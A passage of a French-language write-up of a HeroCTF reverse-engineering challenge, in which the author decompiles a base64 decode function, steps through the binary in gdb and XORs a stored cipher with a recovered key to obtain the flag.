partie du code devrait récupérer ceci : \"=Olgn9sXNdl0” qui est l’ID de la vidéo YouTube, et retourner ceci : “0ldNXs9nglO=”\n\nCe résultat est passé dans la fonction decode() :\n\n```c\nuint decode(long param_1,uint param_2,long param_3)\n\n{\n  byte bVar1;\n  uint uVar2;\n  uint local_10;\n  uint local_c;\n  \n  if ((param_2 \u0026 3) == 0) {\n    local_c = 0;\n    local_10 = 0;\n    while( true ) {\n      if (param_2 \u003c= local_10) {\n        return local_c;\n      }\n      if (*(char *)(param_1 + (ulong)local_10) == '=') {\n        return local_c;\n      }\n      if ((*(byte *)(param_1 + (ulong)local_10) \u003c 0x2b) ||\n         (0x7a \u003c *(byte *)(param_1 + (ulong)local_10))) break;\n      bVar1 = decode_table[(int)(uint)*(byte *)(param_1 + (ulong)local_10)];\n      if (bVar1 == 0xff) {\n        return 0;\n      }\n      uVar2 = local_10 \u0026 3;\n      if (uVar2 == 3) {\n        *(byte *)((ulong)local_c + param_3) = *(byte *)(param_3 + (ulong)local_c) | bVar1;\n        local_c = local_c + 1;\n      }\n      else if (uVar2 \u003c 4) {\n        if (uVar2 == 2) {\n          *(byte *)(param_3 + (ulong)local_c) =\n               bVar1 \u003e\u003e 2 \u0026 0xf | *(byte *)(param_3 + (ulong)local_c);\n          *(byte *)(param_3 + (ulong)(local_c + 1)) = bVar1 \u003c\u003c 6;\n          local_c = local_c + 1;\n        }\n        else if (uVar2 \u003c 3) {\n          if (uVar2 == 0) {\n            *(byte *)(param_3 + (ulong)local_c) = bVar1 * '\\x04';\n          }\n          else if (uVar2 == 1) {\n            *(byte *)(param_3 + (ulong)local_c) =\n                 bVar1 \u003e\u003e 4 \u0026 3 | *(byte *)(param_3 + (ulong)local_c);\n            *(byte *)(param_3 + (ulong)(local_c + 1)) = bVar1 \u003c\u003c 4;\n            local_c = local_c + 1;\n          }\n        }\n      }\n      local_10 = local_10 + 1;\n    }\n  }\n  return 0;\n}\n```\n\nCette fonction (merci chatgpt encore) semble convertir une chaine [base64](https://www.123calculus.com/conversion-base64-page-88-20-150.html). Je n'ai pas scruté le reste de la fonction puisque connaissant dorénavant son but, j’ai simplement utilisé [cyberchef](https://gchq.github.io/CyberChef/) pour convertir la string en base64 vers des valeurs décimales, ce qui m’a donné l’une des clés nécessaires à ce cracking : **210 87 77 94 207 103 130 83**\n\nPourquoi ? Parce qu'à ce moment je pense à la même stratégie que pour Hyper Loop, reverse le XOR entre ces deux valeurs et obtenir le mot de passe permettant d'avancer dans le programme.\n\nMaintenant, j’aimerais bien savoir le contenu de **DAT_00102050** qui est comparé avec l’input.\n\nOn passe sur le debuggeur gdb pour tenter d’avoir un accès à ces variables. Je fais un petit dump du main :\n\n```assembly\nDump of assembler code for function main:\n   0x00000000000014fa \u003c+0\u003e:\tendbr64 \n   0x00000000000014fe \u003c+4\u003e:\tpush   %rbp\n   0x00000000000014ff \u003c+5\u003e:\tmov    %rsp,%rbp\n   0x0000000000001502 \u003c+8\u003e:\tsub    $0x40,%rsp\n   0x0000000000001506 \u003c+12\u003e:\tmov    %edi,-0x34(%rbp)\n   0x0000000000001509 \u003c+15\u003e:\tmov    %rsi,-0x40(%rbp)\n   0x000000000000150d \u003c+19\u003e:\tmov    $0x40,%edi\n   0x0000000000001512 \u003c+24\u003e:\tcall   0x1120 \u003cmalloc@plt\u003e\n   0x0000000000001517 \u003c+29\u003e:\tmov    %rax,-0x18(%rbp)\n   0x000000000000151b \u003c+33\u003e:\tmov    $0x40,%edi\n   0x0000000000001520 \u003c+38\u003e:\tcall   0x1120 \u003cmalloc@plt\u003e\n   0x0000000000001525 \u003c+43\u003e:\tmov    %rax,-0x10(%rbp)\n   0x0000000000001529 \u003c+47\u003e:\tlea    0xc38(%rip),%rax        # 0x2168\n   0x0000000000001530 \u003c+54\u003e:\tmov    %rax,%rdi\n   0x0000000000001533 \u003c+57\u003e:\tmov    $0x0,%eax\n   0x0000000000001538 \u003c+62\u003e:\tcall   0x10f0 \u003cprintf@plt\u003e\n   0x000000000000153d \u003c+67\u003e:\tmov    0x2adc(%rip),%rdx        # 0x4020 \u003cstdin@GLIBC_2.2.5\u003e\n   0x0000000000001544 \u003c+74\u003e:\tmov    -0x18(%rbp),%rax\n   0x0000000000001548 \u003c+78\u003e:\tmov    $0x3f,%esi\n   0x000000000000154d \u003c+83\u003e:\tmov    %rax,%rdi\n   0x0000000000001550 \u003c+86\u003e:\tcall   0x1110 \u003cfgets@plt\u003e\n   0x0000000000001555 \u003c+91\u003e:\tmov    -0x18(%rbp),%rax\n   0x0000000000001559 \u003c+95\u003e:\tlea    0xc28(%rip),%rdx        # 0x2188\n   0x0000000000001560 \u003c+102\u003e:\tmov    %rdx,%rsi\n   0x0000000000001563 \u003c+105\u003e:\tmov    %rax,%rdi\n   0x0000000000001566 \u003c+108\u003e:\tcall   0x1100 \u003cstrcspn@plt\u003e\n   0x000000000000156b \u003c+113\u003e:\tmov    -0x18(%rbp),%rdx\n   0x000000000000156f \u003c+117\u003e:\tadd    %rdx,%rax\n   0x0000000000001572 \u003c+120\u003e:\tmovb   $0x0,(%rax)\n   0x0000000000001575 \u003c+123\u003e:\tmov    -0x18(%rbp),%rax\n   0x0000000000001579 \u003c+127\u003e:\tmov    %rax,%rdi\n   0x000000000000157c \u003c+130\u003e:\tcall   0x10e0 \u003cstrlen@plt\u003e\n   0x0000000000001581 \u003c+135\u003e:\tcmp    $0x1f,%rax\n   0x0000000000001585 \u003c+139\u003e:\tje     0x1591 \u003cmain+151\u003e\n   0x0000000000001587 \u003c+141\u003e:\tmov    $0x0,%eax\n   0x000000000000158c \u003c+146\u003e:\tcall   0x14bb \u003cfail\u003e\n   0x0000000000001591 \u003c+151\u003e:\tmov    0x2a78(%rip),%rax        # 0x4010 \u003ccheck_this_out\u003e\n   0x0000000000001598 \u003c+158\u003e:\tmov    %rax,-0x20(%rbp)\n   0x000000000000159c \u003c+162\u003e:\tjmp    0x15a3 \u003cmain+169\u003e\n   0x000000000000159e \u003c+164\u003e:\taddq   $0x1,-0x20(%rbp)\n   0x00000000000015a3 \u003c+169\u003e:\tmov    -0x20(%rbp),%rax\n   0x00000000000015a7 \u003c+173\u003e:\tmovzbl (%rax),%eax\n   0x00000000000015aa \u003c+176\u003e:\tcmp    $0x3d,%al\n   0x00000000000015ac \u003c+178\u003e:\tjne    0x159e \u003cmain+164\u003e\n   0x00000000000015ae \u003c+180\u003e:\tmov    -0x20(%rbp),%rax\n   0x00000000000015b2 \u003c+184\u003e:\tmov    %rax,%rdi\n   0x00000000000015b5 \u003c+187\u003e:\tcall   0x1229 \u003cUNO_REVERSE_CARD\u003e\n   0x00000000000015ba \u003c+192\u003e:\tmov    %rax,-0x20(%rbp)\n   0x00000000000015be \u003c+196\u003e:\tmov    -0x20(%rbp),%rax\n   0x00000000000015c2 \u003c+200\u003e:\tmov    %rax,%rdi\n   0x00000000000015c5 \u003c+203\u003e:\tcall   0x10e0 \u003cstrlen@plt\u003e\n   0x00000000000015ca \u003c+208\u003e:\tmov    %eax,%ecx\n   0x00000000000015cc \u003c+210\u003e:\tmov    -0x10(%rbp),%rdx\n   0x00000000000015d0 \u003c+214\u003e:\tmov    -0x20(%rbp),%rax\n   0x00000000000015d4 \u003c+218\u003e:\tmov    %ecx,%esi\n   0x00000000000015d6 \u003c+220\u003e:\tmov    %rax,%rdi\n   0x00000000000015d9 \u003c+223\u003e:\tcall   0x12f3 \u003cdecode\u003e\n   0x00000000000015de \u003c+228\u003e:\tmov    %eax,%eax\n   0x00000000000015e0 \u003c+230\u003e:\tmov    %rax,-0x8(%rbp)\n   0x00000000000015e4 \u003c+234\u003e:\tmovl   $0x0,-0x24(%rbp)\n   0x00000000000015eb \u003c+241\u003e:\tjmp    0x163d \u003cmain+323\u003e\n   0x00000000000015ed \u003c+243\u003e:\tmov    -0x24(%rbp),%eax\n   0x00000000000015f0 \u003c+246\u003e:\tmovslq %eax,%rdx\n   0x00000000000015f3 \u003c+249\u003e:\tmov    -0x18(%rbp),%rax\n   0x00000000000015f7 \u003c+253\u003e:\tadd    %rdx,%rax\n   0x00000000000015fa \u003c+256\u003e:\tmovzbl (%rax),%ecx\n   0x00000000000015fd \u003c+259\u003e:\tmov    -0x24(%rbp),%eax\n   0x0000000000001600 \u003c+262\u003e:\tcltq   \n   0x0000000000001602 \u003c+264\u003e:\tmov    $0x0,%edx\n   0x0000000000001607 \u003c+269\u003e:\tdivq   -0x8(%rbp)\n   0x000000000000160b \u003c+273\u003e:\tmov    -0x10(%rbp),%rax\n   0x000000000000160f \u003c+277\u003e:\tadd    %rdx,%rax\n   0x0000000000001612 \u003c+280\u003e:\tmovzbl (%rax),%eax\n   0x0000000000001615 \u003c+283\u003e:\txor    %eax,%ecx\n   0x0000000000001617 \u003c+285\u003e:\tmov    %ecx,%edx\n   0x0000000000001619 \u003c+287\u003e:\tmov    0x29f8(%rip),%rcx        # 0x4018 \u003cSTRANGE\u003e\n   0x0000000000001620 \u003c+294\u003e:\tmov    -0x24(%rbp),%eax\n   0x0000000000001623 \u003c+297\u003e:\tcltq   \n   0x0000000000001625 \u003c+299\u003e:\tadd    %rcx,%rax\n   0x0000000000001628 \u003c+302\u003e:\tmovzbl (%rax),%eax\n   0x000000000000162b \u003c+305\u003e:\tcmp    %al,%dl\n   0x000000000000162d \u003c+307\u003e:\tje     0x1639 \u003cmain+319\u003e\n   0x000000000000162f \u003c+309\u003e:\tmov    $0x0,%eax\n   0x0000000000001634 \u003c+314\u003e:\tcall   0x14bb \u003cfail\u003e\n   0x0000000000001639 \u003c+319\u003e:\taddl   $0x1,-0x24(%rbp)\n   0x000000000000163d \u003c+323\u003e:\tcmpl   $0x1e,-0x24(%rbp)\n   0x0000000000001641 \u003c+327\u003e:\tjle    0x15ed \u003cmain+243\u003e\n   0x0000000000001643 \u003c+329\u003e:\tmov    -0x18(%rbp),%rax\n   0x0000000000001647 \u003c+333\u003e:\tmov    %rax,%rsi\n   0x000000000000164a \u003c+336\u003e:\tlea    0xb3f(%rip),%rax        # 0x2190\n   0x0000000000001651 \u003c+343\u003e:\tmov    %rax,%rdi\n   0x0000000000001654 \u003c+346\u003e:\tmov    $0x0,%eax\n   0x0000000000001659 \u003c+351\u003e:\tcall   0x10f0 \u003cprintf@plt\u003e\n   0x000000000000165e \u003c+356\u003e:\tmov    0x29ab(%rip),%rax        # 0x4010 \u003ccheck_this_out\u003e\n   0x0000000000001665 \u003c+363\u003e:\tmov    %rax,%rsi\n   0x0000000000001668 \u003c+366\u003e:\tlea    0xb59(%rip),%rax        # 0x21c8\n   0x000000000000166f \u003c+373\u003e:\tmov    %rax,%rdi\n   0x0000000000001672 \u003c+376\u003e:\tmov    $0x0,%eax\n   0x0000000000001677 \u003c+381\u003e:\tcall   0x10f0 \u003cprintf@plt\u003e\n   0x000000000000167c \u003c+386\u003e:\tmov    $0x0,%eax\n   0x0000000000001681 \u003c+391\u003e:\tleave  \n   0x0000000000001682 \u003c+392\u003e:\tret\n```\n\nIl y a deux variables commentées de façon bizarre et le reste j’y comprends rien parce que je ne suis pas un sinistre guy d’asm, je vais commencer par poser un breakpoint sur la fonction decode, et run le programme :\n\n![Capture d’écran du 2023-05-15 19-51-40](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/cd5ddc21-ba74-4de0-9be5-fb3b921d88f5)\n\nAvec moins de 31 caractères on tombe dans le premier fail() du main, et avec 31 caractères on arrive jusqu’au breakpoint situé sur decode(), perfect.\n\nDans l’appel à decode(), on check ce qu’il y a en mémoire dans le registre rdi, qui contient généralement le premier argument utilisé dans une fonction :\n\n![Capture d’écran du 2023-05-15 19-53-34](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/06681258-f4fd-425e-89b0-3a8be43a7aef)\n\nEt on tombe bien sur la string inversée par **UNO_REVERSE_CARD()** qui a été entrée en premier paramètre pour la fonction decode(), second check validé.\n\nEt sur la fin on va peut-être afficher les valeurs indiquées **depuis le début avec des commentaires** par le disass main peut-être ?\n\n![Capture d’écran du 2023-05-15 20-01-48](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/3a32f08e-b23d-4a94-a8ff-e7b0209de91b)\n\nAu vu de la position dans le main de STRANGE, ça semble être un cipher du flag résultant du xor, puisqu’on peut voir qu’il est à l’intérieur de la boucle de comparaison en asm :\n\n```assembly\n\t 0x00005555555555ed \u003c+243\u003e:\tmov    -0x24(%rbp),%eax\n   0x00005555555555f0 \u003c+246\u003e:\tmovslq %eax,%rdx\n   0x00005555555555f3 \u003c+249\u003e:\tmov    -0x18(%rbp),%rax\n   0x00005555555555f7 \u003c+253\u003e:\tadd    %rdx,%rax\n   0x00005555555555fa \u003c+256\u003e:\tmovzbl (%rax),%ecx\n   0x00005555555555fd \u003c+259\u003e:\tmov    -0x24(%rbp),%eax\n   0x0000555555555600 \u003c+262\u003e:\tcltq   \n   0x0000555555555602 \u003c+264\u003e:\tmov    $0x0,%edx\n   0x0000555555555607 \u003c+269\u003e:\tdivq   -0x8(%rbp)\n   0x000055555555560b \u003c+273\u003e:\tmov    -0x10(%rbp),%rax\n   0x000055555555560f \u003c+277\u003e:\tadd    %rdx,%rax\n   0x0000555555555612 \u003c+280\u003e:\tmovzbl (%rax),%eax\n   0x0000555555555615 \u003c+283\u003e:\txor    %eax,%ecx\n   0x0000555555555617 \u003c+285\u003e:\tmov    %ecx,%edx\n   0x0000555555555619 \u003c+287\u003e:\tmov    0x29f8(%rip),%rcx        # 0x555555558018 \u003cSTRANGE\u003e\n   0x0000555555555620 \u003c+294\u003e:\tmov    -0x24(%rbp),%eax\n   0x0000555555555623 \u003c+297\u003e:\tcltq   \n   0x0000555555555625 \u003c+299\u003e:\tadd    %rcx,%rax\n   0x0000555555555628 \u003c+302\u003e:\tmovzbl (%rax),%eax\n   0x000055555555562b \u003c+305\u003e:\tcmp    %al,%dl\n   0x000055555555562d \u003c+307\u003e:\tje     0x555555555639 \u003cmain+319\u003e\n   0x000055555555562f \u003c+309\u003e:\tmov    $0x0,%eax\n   0x0000555555555634 \u003c+314\u003e:\tcall   0x5555555554bb \u003cfail\u003e\n   0x0000555555555639 \u003c+319\u003e:\taddl   $0x1,-0x24(%rbp)\n   0x000055555555563d \u003c+323\u003e:\tcmpl   $0x1e,-0x24(%rbp)\n   0x0000555555555641 \u003c+327\u003e:\tjle    0x5555555555ed \u003cmain+243\u003e\n```\n\nL’instruction “jle” contrôle la boucle, tandis que l'instruction “je” teste l’égalité après la comparaison. Si les valeurs ne sont pas égales, on tombe dans le call à fail().\n\nMaintenant, tentons de convertir ces bytes en valeur décimale, et tester un [xorcipher](https://github.com/Sleleu/xorcipher) entre ce cipher et la key renvoyée par decode 🙂\n\n```python\nflag = bytearray(b'\\201c4\\001\\207T\\356\\037\\342\\b9n\\220\\n\\333\\f\\276f9*\\243T\\335\\025\\200f~\\020\\213F\\243')\n\nflag_decimal = [byte for byte in flag]\nprint(flag_decimal)\n```\n\nLe même script que pour le chall crypto, il nous retourne cette liste : **[129, 99, 52, 1, 135, 84, 238, 31, 226, 8, 57, 110, 144, 10, 219, 12, 190, 102, 57, 42, 163, 84, 221, 21, 128, 102, 126, 16, 139, 70, 163]**\n\nOn va pouvoir combiner ça avec la key trouvée précédemment : **210 87 77 94 207 103 130 83** \n\n![Capture d’écran du 2023-05-15 20-18-10](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/a56ec6ec-2c84-453e-9b43-440bc96f4cb5)\n\nEt voici le flag ! Hero{S4y_H3lL0_t0_mY_l1ttl3_FR13ND!!}\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsleleu%2Fheroctf_writeup","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsleleu%2Fheroctf_writeup","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsleleu%2Fheroctf_writeup/lists"}